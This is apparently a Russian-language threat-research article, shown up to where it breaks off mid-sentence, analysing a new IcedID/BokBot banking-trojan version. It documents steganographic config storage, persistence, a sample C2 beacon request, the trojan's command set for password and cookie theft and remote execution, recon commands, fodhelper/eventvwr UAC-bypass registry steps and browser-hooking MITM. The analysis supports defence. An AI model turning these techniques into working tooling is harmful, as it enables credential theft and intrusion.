Какие три мысли возникали у вирусных аналитиков, когда они слышали о IcedID/BokBot? Конечно же про web-инжекты, proxy-сервер и быстрое обновление версий. Иногда настолько быстрое, что пока аналитик изучает версию, актуальную на момент начала исследования, — выходит новая. Какая фича была добавлена в этот список? Загрузчик со стеганографией. А что если вам скажут, что в новой версии не только главный модуль IcedID скрыт в изображении, но также и его конфигурационные файлы? Интересно? Тогда давайте разбираться. Иван Писарев, специалист по анализу вредоносного кода Group-IB, рассказывает, что нам приготовила новая версия этого печально знаменитого банковского трояна.
Об IcedID начали говорить еще в далеком ноябре 2017 года, когда его впервые описали исследователи из IBM X-Force. Уже на тот момент приложение имело богатый набор функциональных возможностей (proxy-сервер, web-инжекты, большой RAT-арсенал, VNC-модуль и т.д.), который продолжает активно пополняться. Мы тоже выпускали статью по данному банкеру, но с тех пор троян обзавелся новыми фишками, в том числе стал использовать стеганографию, чтобы скрывать конфигурационные данные в файловой системе и сетевом трафике. Об этом мы и расскажем подробно в данной статье.
Судя по целям бота, которые мы регулярно извлекаем из конфигурационных данных трояна, его интересы не сильно изменились: больше всего его интересуют клиенты американских банков. Но есть один интересный момент: в список целей попали фирмы, занимающиеся телекоммуникациями (AT&T) и мобильной связью (T-Mobile). Вот неполный список целей, которые атакует троян:
- Amazon.com
- eBay
- American Express
- AT&T
- T-Mobile
- Bank Of America
- Capital One
- Chase
- Wells Fargo
- J.P. Morgan
- Lloyds Bank
- Verizon Wireless
Ещё
- CIBC
- Comerica (comerica.com)
- Dell
- Discover
- Dollar Bank
- Erie Bank
- E-Trade
- Frost Bank
- Halifax UK
- Hancock Bank
- Huntington Bank
- M&T bank
- Centennial Bank
- PNC
- RBC
- Charles Schwab
- SunTrust Bank
- Synovus
- Union Bank (unionbank.com)
- USAA
- US Bank
Ну, пора переходить к самому интересному — исследованию трояна.
Распространение
Примечательно, что за трояном очень активно следит инфобез-сообщество по всему миру, поэтому если вы зайдете в Twitter и попробуете поискать по тегам #IcedID и #BokBot, то найдете огромное количество записей о том, как и когда осуществлялась последняя рассылка банкера. Пожалуй, самое интересное, что случилось с трояном за последнее время в плане заражения устройств, — появление новой стадии загрузчика, которая, как и предыдущая версия, загружает картинку со спрятанной внутри старой версией — загрузчиком второй стадии. Новый загрузчик уже описан тут, поэтому не будем повторяться и просто упрощенно опишем схему заражения:
- На устройство жертвы попадает вредоносный документ.
- Документ загружает и запускает первую стадию загрузчика.
- Загрузчик первой стадии загружает картинку с CnC, извлекает оттуда загрузчик второй стадии, сохраняет и запускает его.
- Загрузчик второй стадии аналогично загружает картинку с CnC (адрес может быть другим), извлекает главный модуль IcedID и запускает его. Данная часть будет подробнее расписана далее.
Пример можно найти здесь. Думаю, вопросов тут не осталось, поэтому давайте перейдем ко второй стадии.
Downloader/Loader — загрузчик второй стадии
Основная задача данного загрузчика — получить главный модуль и запустить его. Вторая стадия может быть представлена в виде exe — или dll-файла, однако функциональных различий между двумя версиями нет. Поэтому давайте рассмотрим получение и запуск главного модуля на примере dll-файла.
Загрузчик представляет из себя DLL-файл с экспортируемой функцией DllRegisterServer(), которая циклично уходит в Sleep() на 1 секунду до тех пор, пока не поднят флаг окончания работ. Как вы увидите далее, новая версия загрузчика запускается в контексте процесса regsvr32.exe, а для корректного запуска необходима данная экспортируемая функция.
Все самое интересное происходит в функции DllEntryPoint(). Сам по себе загрузчик — достаточно маленькое приложение, которое выполняет следующие действия:
- Обращается к файлу-изображению, которое содержит ядро IcedID. Естественно, при первом запуске на зараженной машине такого изображения нет, поэтому идем далее.
- Обращается к CnC-адресам (список хранится в теле загрузчика в зашифрованном виде) и получает нагрузку. Запрос выглядит вот так:
Быстро опишем значения:
- 01 — захардкоженное значение.
- BE0F1DE5 — тоже захардкоженное значение, которое впоследствии будет передано ядру IcedID. Далее будем называть его идентификатором загрузчика.
- 0272A7E4 — временная метка.
- 00000000000040000010 — информация о процессоре + временные замеры исполнения кода. Видимо, по данной переменной сервер может определять, исследуется ли на данный момент загрузчик, и не отдать ядро IcedID исследователю.
В ответ сервер отдает изображение, которое содержит shell-код и ядро.
- Сохраняет файл (алгоритм генерации имен файлов рассмотрим далее).
- Расшифровывает полученную нагрузку (далее также опишем формат, в котором хранятся зашифрованные данные). Нагрузка включает в себя заголовок, shell-код и ядро IcedID. Загрузчик из заголовка получает адрес точки входа (адрес хранится по смещению 8, просто держу в курсе) в shell-код и передает на него управление.
- Shell-код запускает процесс svchost.exe (в некоторых исследованных сэмплах процесс был другой, к примеру msiexec.exe) в suspended-режиме и при помощи функций:
- NtAllocateVirtualMemory
- ZwWriteVirtualMemory
- NtProtectVirtualMemory
- NtQueueApcThread
Инжектит себя в новый процесс и запускает. Думаю, тут все понятно и подробнее расписывать не нужно.
- Shell-код в контексте svchost.exe разворачивает ядро IcedID и передает на него управление.
Кажется, получилось сложновато. Давайте тогда картинкой:
Схема заражения устройства IcedID
Надеюсь, стало понятнее. Теперь переходим к самому интересному — описанию работы трояна.
IcedID core
Предстартовая подготовка
Перед началом описания работы трояна стоит рассказать, в каком формате троян хранит строки, переменные, файлы и прочие данные. Думаю, это облегчит чтение статьи. Если для читателя данная часть не интересна — предлагаю сразу перейти к следующему разделу Сразу после запуска.
Итак, начнем.
Генерация BotId
В первую очередь троян генерирует BotId, так как данная переменная будет использована практически во всех дальнейших алгоритмах генерации имен файлов, мьютексов, ключей реестра и т.д. В новой версии IcedId, в отличии от старой, для генерации BotId используется всем известный алгоритм хеширования fnv32. BotId — это хеш-значение от строкового представления SID'а пользователя.
Генерация строк
В отличие от предыдущих версий, новая использует классическую random-функцию C++ с внутренним состоянием счетчика. То есть для генерации одной и той же строки достаточно инициализировать счетчик одинаковым значением. Для генерации строк, которые должны быть одинаковыми от запуска к запуску (например, имена директорий, конфиг-файлов, ключей реестра и т.д.), IcedID использует в качестве инициализирующего значения BotId. Если повторное использование строки не планируется, тогда в качестве инициализирующего значения используется результат инструкции rdtsc. Думаю, подробно рассматривать сам алгоритм генерации строк не столь интересно. Выделим важные моменты:
- Генерируемые строки могут быть как в виде GUID, так и в «классическом» виде.
- Для генерации «классических» строк используются:
- Пары алфавитов: aeiou и bcdfghjklmnpqrstvwxyz, при этом каждая пара символов принадлежит этим непересекающимся алфавитам (к примеру, если первый символ принадлежит первому алгоритму, то следующий символ в подстроке — строго из второго).
- Опционально может быть добавлена пара символов из алфавита abcedfikmnopsutw, при этом индексы этих символов генерируются не ГПСЧ, а высчитываются на основании подстроки, полученной на предыдущем этапе. Это важное уточнение, к которому мы вернемся чуть позже.
- Опционально могут быть добавлены целочисленные значения в конец генерируемой строки: 1, 2, 3, 4, 32, 64.
- Для генерации пути директории может использоваться имя зараженного пользователя. При этом для хранения интересных с точки зрения IcedID файлов может быть создана не одна, а две вложенные директории.
Шифрование строк
Важные для работы IcedId строки (лог-строки, строки-параметры функций и т.д.) зашифрованы кастомным алгоритмом. Расшифровать их можно довольно просто при помощи следующего Python-скрипта:
def decrypt_string(ciphertext):
current_key = struct.unpack('I', ciphertext[:4])[0]
length = (struct.unpack('H', ciphertext[4:6])[0] ^ current_key) & 0xFFFF
ciphertext = ciphertext[6:]
plaintext = ''
for index in range(length):
current_key = (index + ((current_key << 25) | (current_key >> 7))) & 0xFFFFFFFF
plaintext = '{}{}'.format(plaintext, chr((current_key ^ ord(ciphertext[index])) & 0xFF))
return plaintext
При этом важно отметить, что значение сдвигов может меняться в зависимости от версии трояна.
Вычисление контрольной суммы
Данный алгоритм используется для проверки целостности конфиг-данных, а также для осуществления SSL-pinning:
Хранение глобальных переменных
Некоторые переменные, значение которых необходимо сохранять от запуска к запуску, троян сохраняет в реестре. Каждой переменной соответствует строка-значение — имя переменной. Чтение такой переменной происходит в четыре этапа:
- Считается кастомное хеш-значение от имени переменной:
- При помощи WinApi вычисляется MD5-значение от имени переменной и ее хеш-значения:
- Генерируется путь до переменной в реестре:
HKEY_CURRENT_USER\Software\Classes\CLSID\{%GUID%}
где %GUID% — вычисленное выше MD5-значение в формате GUID и читает ее значение. - Расшифровывается при помощи следующего алгоритма:
где customRandom:
def custom_random(seed): for _ in range(3): seed = ror(seed) seed ^= 0x9257 for _ in range(3): seed = rol(seed) seed = (seed + 0x29B6) & 0xFFFFFFFF seed = ror(seed) seed = (seed + 0xF411) & 0xFFFFFFFF seed = rol(seed) seed = (seed - 0x8668) & 0xFFFFFFFF seed = seed ^ 0xFFFFFFFF seed = (seed - 0x8260) & 0xFFFFFFFF return seed
Если вы читали предыдущую статью, то наверняка заметили, что изменений тут немного. Собственно, сохранение бот-переменной происходит в обратном порядке: сначала шифрование, затем запись.
Итак, в ходе исследования были обнаружены следующие переменные:
- #lf — log-filter
- #ke — kill edge
- #dr — url list, with signature
- #dm — url list, without signature
Важное замечание: по команде управляющего сервера может быть добавлено/удалено значение глобальной переменной. Именно так происходит обновление списка CnC-серверов. Кстати о CnC. После чтения и расшифровки глобальной переменной (#dr) троян еще проверят подпись. И да, у трояна есть встроенный открытый ключ:
Хранение конфигурационных данных
Конфигурационные данные IcedID хранит в отдельных зашифрованных файлах. Генерация имени файлов, а также директории, в которой они хранятся, описана выше. Основная отличительная черта новой версии трояна — хранение конфигов в .png-изображениях. Да-да, теперь не только основной модуль спрятан при помощи стеганографии, но и конфигурационные файлы. Давайте подробнее рассмотрим формат хранения полезной нагрузки в изображениях.
В каждом изображении присутствует объект вот такой структуры:
struct StegData
{
int ciphertextLen;
int magic;
int plaintextChecksum;
byte keyLen;
char[keyLen] key;
char[ciphertextLen];
};
А вот и пример:
Алгоритм шифрования — RC4. В некоторых случаях (например, конфиг-файлы) изображение не содержит ключ, тогда в качестве него выступает BotId.
И пару слов о конфиг-файлах: после их расшифровки можно наблюдать следующее:
Как видите, магическая строка zeus осталась.
Логирование
Даже в очень хорошо написанной программе возникают проблемы, что уж говорить о банкере. Разработчик это понимал и поэтому добавил логирование почти на каждом шагу. По умолчанию оно выключено, но есть глобальная переменная #lf, которую можно изменить по команде сервера. Log filter — это целочисленная переменная, у которой первые три бита отвечают за тип событий, который необходимо логировать:
- [INFO]
- [WARN]
- [ERROR]
Кроме этого, переменная говорит трояну, в каких именно модулях стоит логировать события.
Логирование осуществляется в отдельный участок памяти, который по команде тоже может быть выгружен на сервер. Далее при анализе лог-строки нам еще не раз помогут.
Сразу после запуска
В первую очередь троян генерирует BotID и собирает информацию о зараженной машине, которую впоследствии передает управляющему серверу. Как я и предрекал в первой статье, главный модуль теперь тоже проверяет запуск на виртуальной машине двумя способами:
- при помощи инструкции rdtsc (а также для чистоты эксперимента cpuid и функции SwitchToThread) 15 раз замеряет время исполнения кода
- сравнивает первые 4 символа Vendor ID процессора со значениями:
- VMwa
- XenV
- Micr
- KVMK
- Lrp
- VBox
Интересное замечание: подтверждение запуска на виртуальной машине влияет только на запуск BC-модуля (будет описан позже), при этом модуль не запускается, только если система не прошла проверку по таймингам, значения VendorID игнорируются. Возможно, данная функция продолжает тестироваться и в дальнейшем будет доведена до идеала вместе с остановкой работы трояна на зараженной машине. На данный момент проверка достаточно слабая и почти не влияет на работу программы.
С BotId и информацией о системе чувствует троян пробуждение темной силы в себе, понимает, что отныне будет твориться история, которую необходимо сохранить для потомков. Как вы поняли, с данного этапа бот начинает логировать свои действия. Но перед тем, как записать первую строчку в девственно чистый участок памяти, троян пытается получить значение глобальной переменной #lf. Например, первое сообщение:
[00:11:40] 2252| [INFO] bot.init > core init ver=20 pid=1234 id=456 ldr_ver=3
Из него мы узнаем, что, по мнению разработчиков, версия загрузчика — 4, а вот версия ядра уже 21. Далее идет стандартная схема, предотвращающая повторный запуск трояна на машине: создается мьютекс (выше мы описывали генерацию строки-имени мьютекса). Если мьютекс уже создан — банкер завершает работу. Опять же, небольшое замечание: перед созданием мьютекса приложение обращается к событию с другим именем, которое создается при обновлении загрузчика трояна. И благодаря этому событию новый процесс IcedID ожидает завершения работы старого, после чего начинает выполнять свои грязные дела.
И начинаются грязные дела с обеспечения персистентности трояна на зараженном устройстве. В первую очередь приложение проверяет имя файла. Те, кто не пропустил пункт Генерация строк в прошлом разделе, наверняка помнят, что один из шагов я особо выделил — добавление двух символов из алфавита abcedfikmnopsutw, индексы к которым генерируются на основании предыдущей подстроки. Собственно, троян повторно генерирует индекс и сравнивает два последних символа имени файла с шаблонным значением. Если файл прошел проверку — дальнейшие действия не требуются. Если же это первый запуск трояна — приложение создает директорию (или две, в зависимости от BotID) в %APPDATA% или %LOCALAPPDATA%, копирует туда файл-загрузчик, старый файл удаляет, после чего добавляет новую задачу при помощи COM-интерфейса ITaskService:
Если создать задачу не удалось — приложение по-старинке прописывает себя в автозапуск через реестр. При этом название значения реестра такое же, как название задачи. То есть в данном случае:
- Ключ реестра: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- Значение: meayjiduge_{94D3BBC9-24EA-411F-066A-A604B94A99DA}
- Содержимое: путь к файлу-загрузчику
Важное замечание: загрузчик IcedID может быть не только .exe, но и .dll. В таких случаях его запуск происходит через regsvr32.exe, соответственно в задачу (реестр) будет прописан следующий путь:
regsvr32.exe /s «C:\Users\<%Username%>\AppData\Local\lepuan\odnu\olniyueu3.dll»
Установив себя в систему, приложение инициализирует список CnC-серверов. Происходит это в два этапа:
- инициализация списка на основе переданных загрузчиком параметров
- инициализация списка из глобальных переменных
Думаю, второй пункт необходимо расписать подробнее. Есть две глобальные переменные: #dm — хранит список CnC-серверов без подписи, и #dr — хранит подписанный список CnC-серверов. Переменная #dm используется опционально. Похоже, данная функция чисто для тестирования.
Кроме списка CnC-серверов приложение загружает конфигурационные файлы, которые теперь скрыты в .png-изображениях (то есть разработчики заменили обычное шифрование на стеганографию + шифрование). У IcedID есть два конфиг-файла, которые используются proxy-сервером (далее расскажу подробнее) для атаки MITM:
- Main — содержит список web-инжектов (в первой статье этот список назывался cfg0)
- Sys — содержит списки grab и ignore (cfg1)
На данном этапе подготовка для работы трояна полностью завершена, можно
- Alive
- Hooker
- BC
Как уже было указано ранее, модуль BC не запускается, если окружение не прошло проверку по таймингам (метод VM-detect). Далее подробно будет описан каждый поток-модуль. Ну а на этом процесс инициализации трояна закончен, главный поток уходит в бесконечный Sleep().
Alive-модуль
Данный модуль предназначен для периодического «отстукивания» на сервер, чтобы тот понимал: бот все еще жив и готов принимать команды. Перед запуском бот «засыпает» на минуту, после чего входит в бесконечный цикл обращения к серверу. Обращение к серверу осуществляется раз в 5 минут (хотя по команде сервера данное значение может быть изменено). Итак, как же выглядит запрос? Давайте сразу начнем с примера:
GET /audio/?z=JmE9MTk1OTUxMzEwJmI9MzEzMTk0ODc4MyZjPTIwJmQ9MCZlPTEmZj0wJmc9MCZqPTAwMDBERUFERkFDRSZtPSU1NCUwMCU2NSUwMCU3MyUwMCU3NCUwMCU0MyUwMCU2RiUwMCU2RCUwMCU3MCUwMCU3NSUwMCU3NCUwMCU2NSUwMCU3MiUwMCU2RSUwMCU2MSUwMCU2RCUwMCU2NSUwMCZwPSU1NCUwMCU2NSUwMCU3MyUwMCU3NCUwMCU0NCUwMCU2RiUwMCU2RCUwMCU2MSUwMCU2OSUwMCU2RSUwMCU2RSUwMCU2MSUwMCU2RCUwMCU2NSUwMCZrPTMmbj00Jm89Ni4xLjc2MDEuMS4zMi4xJmw9JTU0JTAwJTY1JTAwJTczJTAwJTc0JTAwJTU1JTAwJTczJTAwJTY1JTAwJTcyJTAwJTZFJTAwJTYxJTAwJTZEJTAwJTY1JTAwJnc9ODE5MiZxPTMmdT0xNjM0MyZyPTM3MzU5Mjg1NTkmcz0zNzM1OTQzODg2JnQ9NTcwMDUmaD08JXBnaWQlPiZpPTwlZ2lkJT4mdj00MDQ= HTTP/1.1
Connection: Keep-Alive
Host: <%CnC%>
Как видно из запроса, все самое интересное хранится в закодированных по Base64 данных. После раскодирования получаем интересную строку:
Вот такую информацию троян передает на управляющий сервер. Как видно из примера, строковые значения (все в UNICODE) закодированы URL-кодировкой. Синим выделены данные, которые передаются только во время первого отстука — регистрационные данные. Черным — данные, которые присутствуют во всех запросах. Красным — опциональные данные, включаются в запрос, только если трояну удалось получить значение соответствующей переменной. Кстати о переменных — вот их значения:
Переменная | Значение |
---|---|
a | ID загрузчика |
b | ID бота |
c | Версия главного модуля IcedID |
d | Целочисленное значение, которое получает главный модуль от загрузчика |
e | Тип запроса: 1 — регистрация, 0 — обычный запрос |
f | Подтип запроса |
g | Флаги запроса |
j | MAC-адрес сетевого устройства. Количество таких записей зависит от количества сетевых устройств. |
m | Имя компьютера, в данном примере — TestComputername |
p | Имя домена, в котором расположено устройство, в данном примере — TestDomainname |
k | Целочисленное значение |
n | Целочисленное значение, содержит информацию о запуске на виртуальной машине |
o | Информация об ОС |
l | Имя пользователя, в данном примере — TestUsername |
w | Целочисленное значение, информация получена из SID'а пользователя |
q | Версия загрузчика |
u | Метка времени |
r | Контрольная сумма Sys-конфига |
s | Контрольная сумма Main-конфига |
t | Контрольная сумма CnC-списка |
h | Строковое значение, которое приложение получает от загрузчика и помечает его как pgid. К сожалению, в ходе исследования нескольких версий трояна значение получить не удалось. |
i | Строковое значение, которое приложение получает от загрузчика и помечает как gid. К сожалению, в ходе исследования нескольких версий трояна значение получить не удалось. |
v | Значение функции GetLastError при открытии файла-загрузчика. |
В ответ сервер отправляет пакет, содержащий fast-команду и параметры, разделенные символом ;. Перед обработкой команды приложение ищет следующие подстроки в ответе и заменяет их на соответствующие значения:
- #gid# — строковое значение, которое главный модуль получает от загрузчика
- #pgid# — строковое значение, которое главный модуль получает от загрузчика
- #id# — ID бота
- #pid# — ID загрузчика
- #domain# — CnC
- front:// — заменяет на https://<%CnC%>
Ну а теперь давайте быстро опишем fast-команды:
Команда | Описание | Выполняемые действия |
---|---|---|
1 | update pack | Обновить изображение, в котором скрыт главный модуль IcedID. После успешной загрузки приложение запускает новый процесс загрузчика, работа текущего останавливается. |
2 | update loader | Обновить загрузчик. После успешной загрузки и установки персистентности приложение запускает новый процесс загрузчика, работа текущего останавливается. |
3 | update urllist | Обновить CnC-список. После проверки подписи приложение зашифровывает СnC-список и сохраняет его в глобальную переменную #dr. |
4 | update sys config | Обновить конфиг-файл, содержащий список grab (cfg1). После сохранения файла список в трояне также обновляется. |
5 | update main config | Обновить конфиг-файл, содержащий список web-инжектов (cfg0). После сохранения файла список в трояне также обновляется. |
6 | alive force | Отправить alive-запрос незамедлительно. Опционально можно повторно отправить регистрационный запрос. |
7 | set alive timeout | Изменить период обращения к серверу. Новое значение приходит как параметр. |
8 | get log | Отправить на сервер лог-данные. |
9 | set log filter | Изменить значение лог-фильтра. Значение приходит как параметр, записывается в глобальную переменную #lf и обновляется в приложении. |
10 | var set | Изменить значение глобальной переменной. Имя переменной и ее значение приходит как параметр. |
11 | var get | Получить значение глобальной переменной. Имя переменной приложение получает как параметр. |
12 | var del | Удалить глобальную переменную. Имя переменной приложение получает как параметр. |
13 | get process list | Отправить на сервер список запущенных процессов. |
14 | desk link | Получить список файлов на рабочем столе, для .lnk-файлов также записывает путь к файлу, на который ссылается. Работа с .lnk-файлами осуществляется через COM-интерфейс IShellLinkA. |
15 | sysinfo | Собрать информацию о зараженной машине и отправить на сервер. |
16 | exec | Запустить процесс, путь к исполняемому файлу приложение получает как параметр. |
17 | dlexec | Загрузить и исполнить файл. Адрес нагрузки и аргументы запуска приложение получает в качестве параметров. Файл сохраняется либо в директорию %TEMP%, либо в c:\ProgramData\. |
18 | run cli | Запустить процесс, результат работы процесса отправить на сервер. |
19 | run shellcode | Загрузить shell-код, заинжектить его в новый процесс cmd.exe и исполнить. |
20 | reboot | Перезагрузить устройство. |
21 | file search | Найти файл с именем по шаблону (приходит как параметр) и отправить на сервер. |
22 | file get | Отправить определенный файл на сервер. Имя файла приложение получает как параметр. |
23 | dump pass | Извлечь сохраненные пароли из Credential Manager, Outlook, Internet Explorer, Winmail, Google Chrome, Firefox и отправить их на сервер. |
24 | dump cookie | Извлечь cookie-данные и отправить их на сервер. |
25 | DlExecAdmin | Аналогично dlexec, однако запуск приложения осуществляется с обходом UAC. Если прав у IcedID недостаточно — запуск производится от имени обычного пользователя. |
26 | run bc | Запустить BC-модуль. |
Давайте подробнее распишу некоторые команды:
- update — команды. В качестве параметра приходит адрес, с которого необходимо загрузить изображение. Изображение содержит зашифрованную по RC4 полезную нагрузку.
- sysinfo — приложение собирает информацию о зараженной системе, запуская следующие процессы и сохраняя результат их работы:
– cmd /c chcp
– WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
– ipconfig /all
– systeminfo
– net config workstation
– nltest /domain_trusts
– nltest /domain_trusts /all_trusts
– net view /all /domain
– net view /all
- DlExecAdmin — обход UAC может осуществляться двумя способами:
- Через утилиту fodhelper.exe. Для этого приложение создает новый ключ реестра HKCU\Software\Classes\ms-settings\Shell\Open\command, куда записывает два значения:
- DelegateExecute — пустое
- (default) — содержит путь к исполняемому файлу, загруженному с сервера
После этого приложение запускает fodhelper.exe, и вместе с ним в обход UAC запускается полезная нагрузка. - Через утилиту eventvwr.exe. Для этого приложение создает новый ключ реестра HKCU\Software\Classes\mscfile\shell\open\command, куда в стандартное значение записывает путь к файлу-нагрузке, после чего запускает eventvwr.exe.
- Через утилиту fodhelper.exe. Для этого приложение создает новый ключ реестра HKCU\Software\Classes\ms-settings\Shell\Open\command, куда записывает два значения:
Ну и напоследок хотел бы рассказать об одной интересной фиче, которую заметил в последний момент: автор трояна разработал довольно интересный метод SSL-pinning'а: перед установкой соединения приложение при помощи функции WinHttpSetStatusCallback() устанавливает обработчик на события WINHTTP_CALLBACK_STATUS_REQUEST_SENT (данные успешно отправлены на сервер) и WINHTTP_CALLBACK_STATUS_SENDING_REQUEST (срабатывает перед отправкой данных на сервер), но сама функция обработки игнорирует все события, кроме WINHTTP_CALLBACK_STATUS_SENDING_REQUEST. При срабатывании события приложение «вытаскивает» из запроса данные о сертификате сервера, считает контрольную сумму от открытого ключа сервера и сравнивает получившееся значение с серийным номером сертификата. Если оно совпадает — приложение признает, что сервер не подменен, иначе закрывает соединение. Ну а сама функция выглядит вот так:
Hooker-модуль
Как любой уважающий себя современный банкер, IcedID умеет осуществлять атаку MITM. За это отвечает hooker-модуль, работу которого можно условно разделить на три основные части:
- Генерация самоподписанного сертификата
- «Поднятие» proxy-сервера
- Инжектирование собственного модуля в контекст браузера
А теперь подробнее о каждой части.
Генерация самоподписанного сертификата
Как известно, все самые вкусные для банкеров данные сейчас передаются через HTTPS. Получить такие данные путем простого прослушивания трафика между браузером жертвы и, к примеру, сервером банка не получится, ведь все закрыто SSL. Однако разработчики нашли выход из столь интересной ситуации: они ставят свой сертификат. Но для того, чтобы его поставить, сначала его нужно сгенерировать. Специально для генерации сертификата у IcedId есть вот такая строка:
C=US; O=VeriSign, Inc.; OU=VeriSign Trust Network; OU=© 2006 VeriSign, Inc. — For authorized use only; CN=VeriSign Class 3 Public Primary Certification Authority — G5
Ничего не напоминает? Ну конечно же — это Certificate Subject! Для подписи сертификата необходима пара открытый/закрытый ключ. Генерируется она при помощи CryptoAPI-функции CryptGenKey(), в качестве имени контейнера ключа используется MD5(<%BotId%><%Certificate Subject%>). Ну а сам сертификат создается при помощи функции CertCreateSelfSignCertificate(), используя дуэт SHA1 и RSA, ранее созданную ключевую пару и информацию об издателе. Сертификат создается на три года, начиная ровно с года назад и до двух лет вперед. Если сгенерировать сертификат по какой-то причине не удалось — у трояна есть план B на такой случай: заранее подготовленный и зашифрованный в теле сертификат и ключ, который он подгружает и использует вместо неудачно сгенерированного.
Думали, на этом все? А вот нет. Сгенерированный самоподписанный сертификат необходим трояну только для подписи второго сертификата, который уже используется для атаки MITM. В качестве информации об издателе выступает строка:
CN=.com
Процедура генерации сертификата (в том числе имени контейнера) аналогична генерации корневого сертификата (за исключением того, что сертификат подписывается ключом ранее сгенерированного/импортируемого сертификата). И если снова что-то пошло не так — подгружается также ранее подготовленный и сохраненный в теле трояна ключ и сертификат (хранится в зашифрованном виде).
Важно также заметить, что троян создает хранилище сертификатов в файле %TEMP%/<%BotId%>.tmp и помещает туда сертификат. Таким образом, при следующем запуске трояну не нужно будет генерировать/импортировать сертификат повторно. Достаточно получить его из хранилища.
Запуск сервера
После генерации сертификата приложение начинает прослушивать порт <%BotId%> % 14000 – 15536 и, в зависимости от Main- и Sys-конфигов, делать свои темные дела. В прошлой статье подробно расписано, как происходит обработка трафика, и даже предоставлена ссылка на Python-скрипты, парсящие конфиги. Сильных изменений в этой части не обнаружено, так что, думаю, тут повторять нет смысла, идем дальше.
Патч браузеров
Итак, троян поднял свой сервер с собственным сертификатом. Что же еще осталось? Ах да: заставить браузеры редиректить все запросы на этот прокси-сервер и «поверить» сгенерированному сертификату. Для этого IcedID в бесконечном цикле с интервалом в секунду пробегается по списку запущенных приложений и ищет в их рядах браузер. Поиск осуществляется по контрольной сумме от имени процесса, которая вычисляется следующим образом:
И после сравнивает с захардкоженными значениями:
- 0x9EFDE0C4 — firefox.exe
- 0x9F96A0E0 — microsoftedgecp.exe
- 0x534B083E — iexplore.exe
- 0x7A257A14 — chrome.exe
В целом алгоритм вычисления контрольной суммы не менялся в разных версиях банкера, однако константа 0x801128AF была другой, соответственно для других версий трояна чексуммы названий процессов будут иными. Кроме сравнения по контрольной сумме, IcedID также сравнивает имя процесса посимвольно:
Если обнаружено совпадение по имени — троян инжектит собственный код в контекст браузера. Во все, кроме Microsoft Edge. Более того — если на зараженном устройстве присутствует глобальная переменная #ke, то бот убивает процесс microsoftedgecp.exe. Похоже, разработчики не придумали, как инфицировать данный браузер. Либо он им просто не нравится.
Перед патчем браузера приложение проверяет, не был ли он ранее заражен. У приложения есть список зараженных PID'ов. Кроме этого, после инфицирования код инжектированного модуля IcedID в процессе браузера создает событие с именем: <%generated_eventname%>_<%browser_pid%>. Если событие с таким именем не создано — процесс не заражен. Нужно это исправить!
Сейчас будет немного нудно. Главный модуль IcedID содержит в своем теле исполняемый файл, предназначенный для установки хуков на интересные трояну функции. Давайте далее называть его hooker. Однако, как и главный модуль, данный файл хранится в теле трояна в собственном формате и не имеет PE-заголовка. Информация о точке входа, секциях и т.д. находится в кастомном заголовке. Перед тем, как заразить процесс браузера, троян в собственном процессе «разворачивает» секции, после чего выделяет два участка памяти в контексте браузера. В первый, как вы, наверное, догадались, будет скопирован уже развернутый hooker. Во второй участок будут скопированы аргументы, необходимые для запуска перехватчика (в том числе порт прокси-сервера). После этого в контексте браузера при помощи функции CreateRemoteThread() будет создан вредоносный поток.
И вот тут начинается веселье. В контексте браузера hooker в первую очередь чинит собственный импорт (куда же без него), после чего создает ранее упомянутое событие: <%generated_eventname%>_<%browser_pid%>. Процесс установки хуков, думаю, лучше продемонстрировать в виде картинки на примере функции connect():
Как видно из примера, приложение просто устанавливает jmp-инструкцию в начале перехватываемой функции на собственный обработчик (haha classic). В зависимости от браузера вредоносный модуль ставит хуки на разные функции:
- chrome.exe:
- CertGetCertificateChain
- CertVerifyCertificateChainPolicy
- сonnect
- iexplore.exe:
- CertGetCertificateChain
- CertVerifyCertificateChainPolicy
- Функция из библиотеки mswsock.dll
- сonnect
- firefox.exe:
- SSL_AuthCertificateHook или функция из библиотеки SSL3.dll
- сonnect
Хуки на функции работы с сертификатами и SSL ставятся с единственной целью — заставить браузер принимать любой сертификат, в том числе самоподписанный. К примеру, когда в контексте firefox.exe происходит вызов функции SSL_AuthCertificateHook(), предназначенной для изменения функции проверки сертификата на свою собственную, hooker меняет второй аргумент (как раз функция проверки) на свой обработчик:
Обработчик функции connect(), в свою очередь, предназначен для того, чтобы перенаправлять все соединения браузера на proxy-сервер. Hooker заменяет IP-адрес назначения на 127.0.0.1, а порт — на порт proxy-сервера. После успешного подключения к Proxy-серверу IcedID отправляет следующие данные:
- IP и порт назначения
- Тип браузера
- Информацию, полученную в качестве аргумента от главного модуля
Таким образом, при минимальном вмешательстве в процесс браузера IcedID удалось выстроить следующую схему MITM:
Схема IcedID MITM
Имея сертификат, Proxy-сервер и пропатченные браузеры IcedID получает полный контроль над трафиком браузеров, даже если все данные находятся за SSL.
BC-модуль
И этот модуль предназначен… для обработки команд сервера! Да-да, вы не ослышались: еще один модуль обработки команд. Давайте сразу рассмотрим, какой GET-запрос он делает на управляющий сервер:
Собственно, значение BAADBEEF — BotID, 0BADFACE — LoaderID, а за параметром Sec-WebSocket-Key скрывается временная метка. Похоже, данный модуль использует WebSocket для общения с управляющим сервером (кстати, используется те же адреса, что и в Alive-модуле, и порт 443). К сожалению, провести глубокое изучение протокола и сравнить его с RFC уже нет времени, поэтому давайте сразу перейдем к командам, которые приложение получает от управляющего сервера и обрабатывает:
Команда | Параметры | Описание |
---|---|---|
1 | IP | Сменить IP |
2 | - | Отправить PING на сервер |
3 | - | PONG-ответ сервера |
4 | Команда | Выполнить fast-команду |
Да, BC-модуль умеет исполнять fast-команды, что является прерогативой Alive-модуля. Пожалуй, самая интересная команда — сменить IP. В качестве параметра приложение получает IP-адрес управляющего сервера, на который он подключается к порту 8080. Все общение с сервером осуществляется по собственному бинарному протоколу, заголовок которого выглядит следующим образом:
struct BcMessageStruct
{
int auth;
byte command;
int id;
int key;
};
Где поле auth не менялось как минимум с пятой версии ядра IcedID: константа 0x974F014A, id — BotID а key — LoaderID. Поле command может принимать следующие значения:
Значение | Описание |
---|---|
0 | Запрос команды |
1 | Изменить период обращения к серверу |
2 | Ошибка на стороне клиента, данный пакет приложение отправляет, если, например, не удалось запустить VNC-модуль |
3 | Команда на переподключение |
4 | Запустить SOCKS-модуль |
5 | Запустить VNC-модуль |
При подключении к серверу приложение отправляет пакет с command-полем 0, на что сервер отвечает ему командой. Так происходит в бесконечном цикле с интервалом. На словах все снова сложно, поэтому воспользуемся силой
